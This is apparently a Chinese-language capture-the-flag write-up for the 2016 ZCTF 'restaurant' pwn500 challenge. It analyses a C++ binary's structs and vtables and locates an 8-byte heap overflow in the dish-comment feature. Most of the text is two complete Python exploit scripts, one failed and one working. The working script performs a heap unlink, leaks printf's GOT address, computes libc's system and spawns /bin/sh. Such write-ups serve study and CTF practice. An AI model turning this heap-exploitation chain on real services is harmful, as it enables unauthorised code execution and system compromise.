zctf-pwn500-restaurant-write-up

2016-zctf-pwn500-restaurant-write-up(中国菜馆)

花了六七个小时做这个题目,还是没搞出来。。。。。。好菜。。。。

这道题是用c++写的

结构体有以下几个:

00000000
00000000 struct_info     struc ; (sizeof=0x90, align=0x8)
00000000 name            db 16 dup(?)
00000010 country_name    db 16 dup(?)
00000020 money           dq ?
00000028 age             dq ?                    ; offset
00000030 show_exit_info_func dq ?
00000038 order_ptr       dq 3 dup(?)
00000050 addition_comment db 64 dup(?)
00000090 struct_info     ends
00000090
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 struct_type1    struc ; (sizeof=0x50, align=0x8)
00000000 vitable         dq ?                    ; offset
00000008 taste_comment   db 32 dup(?)
00000028 message         db 16 dup(?)
00000038 price           dq ?
00000040 look_comment    db 16 dup(?)
00000050 struct_type1    ends
00000050
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 struct_type2    struc ; (sizeof=0x88, align=0x8)
00000000 vitable         dq ?
00000008 taste_comment   db 32 dup(?)
00000028 message         db 32 dup(?)
00000048 price           dq ?
00000050 look_comment    db 56 dup(?)
00000088 struct_type2    ends
00000088
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 struct_type3    struc ; (sizeof=0x80, align=0x8)
00000000 vitable         dq ?
00000008 taste_comment   db 32 dup(?)
00000028 message         db 48 dup(?)
00000058 price           dq ?
00000060 look_comment    db 32 dup(?)
00000080 struct_type3    ends

其实漏洞还是很明显的,

各个类型的虚函数表大概如下:

.rodata:0000000000404770 type1_404770    dq offset show_0_4028D4 ; DATA XREF: staple_food1_init_402860+1Co
.rodata:0000000000404770                                         ; init_403B62+10o
.rodata:0000000000404778                 dq offset get_price_8_4029A4
.rodata:0000000000404780                 dq offset append_16_4029B6
.rodata:0000000000404788                 dq offset copy_24_4029E0
.rodata:0000000000404790                 dq offset get_look_comment_32_4028B2
.rodata:0000000000404798                 dq offset get_max_comment_szie_40_4028C4
.rodata:00000000004047A0                 dq offset init_403B62
.rodata:00000000004047A8                 dq offset delete_56_403B9C

就是在添加评论的时候,外观评价上有个8(最多9个)字节的溢出,触发情况如下:

首先评论的时候直接是copy函数,第二次更改的时候,是在“Changed”后面append上评论的字符串,而每次get_max_comment_size的时候,大小都是固定的,所以会溢出

如下:

      fgets(s, len + 2, stdin);
      s[len + 2] = '\n';
      if ( (signed int)strlen(s) > len )
      {
        LODWORD(v4) = std::operator<<>(6316416LL, 0x403F6ELL);// 0x403F6EL  Your comment is too long!
        std::ostream::operator<<(v4, 0x400ED0LL);
        exit(1);
      }
      LODWORD(v5) = (*(int (__fastcall **)(_QWORD))(**(_QWORD **)&info->name[8 * (i + 6LL) + 8] + 32LL))(*(_QWORD *)&info->name[8 * (i + 6LL) + 8]);
      if ( *(_BYTE *)v5 )
      {
        LODWORD(v6) = (*(int (__fastcall **)(_QWORD))(**(_QWORD **)&info->name[8 * (i + 6LL) + 8] + 32LL))(*(_QWORD *)&info->name[8 * (i + 6LL) + 8]);
        *(_QWORD *)v6 = ':degnahC';
        *(_BYTE *)(v6 + 8) = 0;
      }
      else
      {
        LODWORD(v7) = (*(int (__fastcall **)(_QWORD))(**(_QWORD **)&info->name[8 * (i + 6LL) + 8] + 32LL))(*(_QWORD *)&info->name[8 * (i + 6LL) + 8]);
        *(_BYTE *)v7 = 0;
      }
      (*(void (__fastcall **)(_QWORD, char *))(**(_QWORD **)&info->name[8 * (i + 6LL) + 8] + 16LL))(
        *(_QWORD *)&info->name[8 * (i + 6LL) + 8],
        s);
      v14 = 1;

不成功脚本:
当时最开始做的时候,是采用off by one将后面的节点进行释放,达到两个菜单的堆块重叠,最终改写另外一个菜单的虚表,最终成功的到达了system,但是没法传参数,思路卡住了。。。。。。,由于没成功,就不多介绍了。。。

__author__ = "pxx"
from zio import *
from pwn import *
#ip = 218.29.102.109
target = "./restaurant"
#target = ("115.28.27.103", 44444)

def get_io(target):
	r_m = COLORED(RAW, "green")
	w_m = COLORED(RAW, "blue")
	io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
	return  io 

def take_staple_food(io):
	io.read_until("8. Finish your order.\n")
	io.writeline("1")
def take_entree(io):
	io.read_until("8. Finish your order.\n")
	io.writeline("2")
def take_soup(io):
	io.read_until("8. Finish your order.\n")
	io.writeline("3")

def add_comments(io, order, look, taste):
	io.read_until("8. Finish your order.\n")
	io.writeline("7")
	io.read_until("Which order do you want to make a comment(1,2 or 3 depend on menu): ")
	io.writeline(str(order))
	io.read_until("How does this dish look: \n")
	io.writeline(look)
	io.read_until("How does this dish taste: \n")
	io.writeline(taste)

def cancel_order(io, order):
	io.read_until("8. Finish your order.\n")
	io.writeline("5")
	io.read_until("Which order do you want to cancel(1,2 or 3 depend on menu): ")
	io.writeline(str(order))

def show_list(io):
	io.read_until("8. Finish your order.\n")
	io.writeline("4")

def show_account(io):
	io.read_until("8. Finish your order.\n")
	io.writeline("6")

map_info = {}
map_info["Steamed rice"] = 1 #0x50 
map_info["Pan-Fried Bun Stuffed with Pork"] = 2 #0x88
map_info["Jiaozi Stuffed with Pork and Chinese Cabbage"] = 3 #0x80

map_info["Kun Pao Chicken"] = 1 #0x50 
map_info["Scrambled  Egg  with Tomato"] = 2 #0x88
map_info["Shredded Pork with Vegetables, Sichuan Style"] = 3 #0x80

map_info["Scallop Soup"] = 1 #0x50 
map_info["Minced Beef and Tofu Soup"] = 2 #0x88
map_info["Shredded Pork with Pickled Vegetable Soup"] = 3 #0x80

def pwn(io):

	printf_got = 0x0000000000606018
	io.read_until("Please enter your name: ")

	show_info_addr = 0x40261e
	name = l64(show_info_addr)
	io.writeline(name)

	io.read_until(", you are the luckey ")
	data = io.read_until("th guest")[:-8]
	info_addr = int(data)
	print "info_addr:", hex(info_addr)

	io.read_until("Are you from China? (y/n) ")
	io.writeline("n")

	io.read_until("Dear foreigner, please enter your country: ")
	atoi_got = 0x00000000006060a0
	country = 'pxx\x00'
	country = country.ljust(16, 'a')
	country += l64(0x999999)[:4]

	io.writeline(country)
	io.read_until("How old are you: ")

	age = printf_got
	io.writeline(str(age))

	take_staple_food(io)
	take_entree(io)
	take_soup(io)

	show_list(io)

	target_order = 1
	target_type = -1

	result = []
	for i in range(1, 4):
		io.read_until("Order %d : \n"%(i))
		io.read_until("name: ")
		name = io.read_until("\n")[:-1]

		print map_info[name], name
		result.append(map_info[name])

		if i == 1:
			target_type = map_info[name]

	if result[0] != 2 or result[1] != 1:
		io.close()
		print "first node not match"
		return False

	size = 0

	size_map = {}
	size_map[1] = 0x50
	size_map[2] = 0x88
	size_map[3] = 0x80

	size2_map = {}
	size2_map[1] = 16
	size2_map[2] = 56
	size2_map[3] = 32

	look = 'aaa'
	taste = 'a' * 8
	add_comments(io, target_order, look, taste)

	size2 = 0x10
	if result[2] == 2:
		size2 = 0x08

	look = 'aaa\x00'
	look = look.ljust(size2_map[2] - 8, 'a')
	look += l64(size_map[result[1]] + 0x10 + size2 + size_map[result[2]] + 1)
	taste = 'a' * 8
	add_comments(io, target_order, look, taste)

	cancel_order(io, 2)

	take_entree(io)

	show_list(io)

	result2 = []
	for i in range(1, 3):
		io.read_until("Order %d : \n"%(i))
		io.read_until("name: ")
		name = io.read_until("\n")[:-1]

		print map_info[name], name
		result2.append(map_info[name])

	#io.read_until()
	if result2[1] == 1:
		io.close()
		print "second node not match"
		return False


	io.gdb_hint()
	if result2[1] == 2:
		look = 'aaa'
		taste = 'bbb'
		add_comments(io, 2, look, taste)

		look = 'a' * (0x10 - 8)
		look += l64(info_addr)
		look += 'a' * 32
		look += l64(printf_got)[:6]
		taste = 'a' * 8
		add_comments(io, 2, look, taste)
	else:
		#look = 'a' * 0x10
		look += l64(info_addr)
		look += 'a' * 32
		look += l32(printf_got)

		taste = 'a' * 8
		add_comments(io, 2, look, taste)

	show_list(io)
	io.read_until("Order 3 : \n")
	io.read_until("Your age: ")
	data = io.read_until("\n")[:-1]

	target_addr = int(data)
	print "target_addr:", hex(target_addr)
	#data = io.read_until("Now ple1ase take a order:")[:-len("Now please take a order:")]
	#print [c for c in  data]

	#elf_info = ELF("./libc-2.19.so")
	elf_info = ELF("./libc.so.6")
	target_offset = elf_info.symbols["printf"]
	system_offset = elf_info.symbols["system"]

	print "info_addr:", hex(info_addr)

	buff_addr = l64(info_addr + 0x90 + 0x20 + 0x10 + 0x88 + 0x08 + 0x50 + 0x10 + 0x10)

	libc_base = target_addr - target_offset
	system_addr = libc_base + system_offset

	data = l64(system_addr)
	look = 'a' * (0x10 - 8)
	look += buff_addr
	look += "/bin/sh;" + data + ";/bin/sh;"
	show_list(io)
	taste = 'a' * 8
	add_comments(io, 2, look, taste)

	#delete_note(io, 6)
	io.interact()
	return True

while True:
	io = get_io(target)
	if pwn(io) == True:
		break


 
  

成功脚本:

利用坑点:(可能我写利用不太成熟,觉得限制太多。。。菜到家了)

1.  利用的时候几乎只能是用类型2进行,因为:

另外两种类型:0x50,0x80,在堆使用的时候,溢出的8字节刚好把多余的pre_size占用,只能覆盖到size的最高位(感觉这样难利用),

所以选择0x88大小的size,这样pre_size在自己的buff内部,可以填写,而溢出的8字节,刚好可以覆盖后面堆块的size,最终达到unlink利用。

2. 由于每次的类型是随机的,感觉情况好多,但是后来发现固定死一种比较好求解,,而且貌似其他会发生异常,主要原因在于:

每次添加评论的时候,都会调用一下虚表中的get_max_comment_size,unlink改写后,order_ptr 所向的地方,会被改成&addr-3,这个位置要不就是存money的地方,要不就是前面的某个位置,我最后改成的就是存放money的位置(money的值就是虚表的地址),而money是我第一次溢出改写后,几乎就只与我订单有关系了,如果随机,那么虚表就没法确定,导致调用异常,最后我订两个菜单(类型2, 类型2),然后在利用age泄露地址,利用退出时回显的消息来改成system,达到获取shell

最后脚本如下:

__author__ = "pxx"
from zio import *
from pwn import *
#ip = 218.29.102.109
target = "./restaurant"
#target = ("115.28.27.103", 44444)

def get_io(target):
	r_m = COLORED(RAW, "green")
	w_m = COLORED(RAW, "blue")
	io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
	return  io 

def take_staple_food(io):
	io.read_until("8. Finish your order.\n")
	io.writeline("1")
def take_entree(io):
	io.read_until("8. Finish your order.\n")
	io.writeline("2")
def take_soup(io):
	io.read_until("8. Finish your order.\n")
	io.writeline("3")

def add_comments(io, order, look, taste):
	io.read_until("8. Finish your order.\n")
	io.writeline("7")
	io.read_until("Which order do you want to make a comment(1,2 or 3 depend on menu): ")
	io.writeline(str(order))
	io.read_until("How does this dish look: \n")
	io.writeline(look)
	io.read_until("How does this dish taste: \n")
	io.writeline(taste)

def cancel_order(io, order):
	io.read_until("8. Finish your order.\n")
	io.writeline("5")
	io.read_until("Which order do you want to cancel(1,2 or 3 depend on menu): ")
	io.writeline(str(order))

def show_list(io):
	io.read_until("8. Finish your order.\n")
	io.writeline("4")

def show_account(io):
	io.read_until("8. Finish your order.\n")
	io.writeline("6")

def finish_order(io):
	io.read_until("8. Finish your order.\n")
	io.writeline("8")


map_info = {}
map_info["Steamed rice"] = 1 #0x50 
map_info["Pan-Fried Bun Stuffed with Pork"] = 2 #0x88
map_info["Jiaozi Stuffed with Pork and Chinese Cabbage"] = 3 #0x80

map_info["Kun Pao Chicken"] = 1 #0x50 
map_info["Scrambled  Egg  with Tomato"] = 2 #0x88
map_info["Shredded Pork with Vegetables, Sichuan Style"] = 3 #0x80

map_info["Scallop Soup"] = 1 #0x50 
map_info["Minced Beef and Tofu Soup"] = 2 #0x88
map_info["Shredded Pork with Pickled Vegetable Soup"] = 3 #0x80

def pwn(io):

	printf_got = 0x0000000000606018
	io.read_until("Please enter your name: ")

	show_info_addr = 0x40261e
	name = "/bin/sh;"
	io.writeline(name)

	io.read_until(", you are the luckey ")
	data = io.read_until("th guest")[:-8]
	info_addr = int(data)

	io.read_until("Are you from China? (y/n) ")
	io.writeline("n")

	io.read_until("Dear foreigner, please enter your country: ")
	atoi_got = 0x00000000006060a0
	country = 'pxx\x00'
	country = country.ljust(16, 'a')

	type_2_virt = 0x404710 
	country += l64(type_2_virt + 2 + 10)[:4]

	io.writeline(country)
	io.read_until("How old are you: ")

	age = printf_got
	io.writeline(str(age))

	take_staple_food(io)
	take_entree(io)
	#take_soup(io)

	show_list(io)

	result = []
	for i in range(1, 3):
		io.read_until("Order %d : \n"%(i))
		io.read_until("name: ")
		name = io.read_until("\n")[:-1]

		print map_info[name], name
		result.append(map_info[name])

	if result != [2, 2]:#
		print "not pass this"
		#raw_input()
		io.close()
		return False
	size_map = {}
	size_map[1] = 0x50
	size_map[2] = 0x88
	size_map[3] = 0x80

	heap_size_map = {}
	heap_size_map[1] = 0x60
	heap_size_map[2] = 0x90
	heap_size_map[3] = 0x90

	size2_map = {}
	size2_map[1] = 16
	size2_map[2] = 56
	size2_map[3] = 32

	target_order = 0
	node_addr = 0
		
	target_order = 1
	node_addr  = info_addr + 0x38

	look = 'aaa'
	taste = 'a' * 8
	add_comments(io, target_order, look, taste)

	#useful_code --- begin
	#prepare args
	arch_bytes = 8
	heap_buff_size = 0x80 #0x78 #0x80
	#node1_addr = &p0
	node1_addr = node_addr
	pack_fun = l64

	heap_node_size = heap_buff_size + 2 * arch_bytes #0x88

	p0 = ""#pack_fun(0x0)
	p1 = pack_fun(heap_buff_size + 0x01)
	p2 = pack_fun(node1_addr - 3 * arch_bytes)
	p3 = pack_fun(node1_addr - 2 * arch_bytes)
	#p[2]=p-3
	#p[3]=p-2
	#node1_addr = &node1_addr - 3

	node2_pre_size = pack_fun(heap_buff_size)
	#node2_size = pack_fun(heap_node_size)
	#data1 = p0 + p1 + p2 + p3 + "".ljust(heap_buff_size - 4 * arch_bytes, '1') + node2_pre_size + node2_size
	data1 = p0 + p1 + p2 + p3
	node2_size = pack_fun(heap_size_map[result[target_order - 1 + 1]])
	data2 = node2_pre_size + node2_size
	#useful_code --- end

	look = 'a' * (56 - 8 - 8) + data2
	taste = data1
	add_comments(io, target_order, look, taste)

	print "next_type:", result[target_order - 1 + 1]
	print "next_size:", hex(heap_size_map[result[target_order - 1 + 1]])
	cancel_order(io, target_order + 1)

	print "info_addr:", hex(info_addr)
	io.gdb_hint()
	look = ''
	taste = ''
	taste += l64(printf_got) #age

	add_comments(io, target_order, look, taste)
	show_account(io)
	io.read_until("Your age: ")
	data = io.read_until("\n")[:-1]

	printf_addr = int(data)
	print "printf_addr:", hex(printf_addr)
	#data = io.read_until("Now ple1ase take a order:")[:-len("Now please take a order:")]
	#print [c for c in  data]

	#elf_info = ELF("./libc-2.19.so")
	elf_info = ELF("./libc.so.6")
	target_offset = elf_info.symbols["printf"]
	system_offset = elf_info.symbols["system"]

	libc_base = printf_addr - target_offset
	system_addr = libc_base + system_offset

	look = ''
	taste = ''
	taste += l64(printf_got) #age
	taste += l64(system_addr) #show_exit_info
	add_comments(io, target_order, look, taste)

	finish_order(io)

	io.read_until("3.Just so so!\n")
	io.writeline("3")

	io.interact()
	return True

while True:
	io = get_io(target)
	if pwn(io) == True:
		break

附张成功图

zctf-pwn500-restaurant-write-up_第1张图片

你可能感兴趣的:(pwn)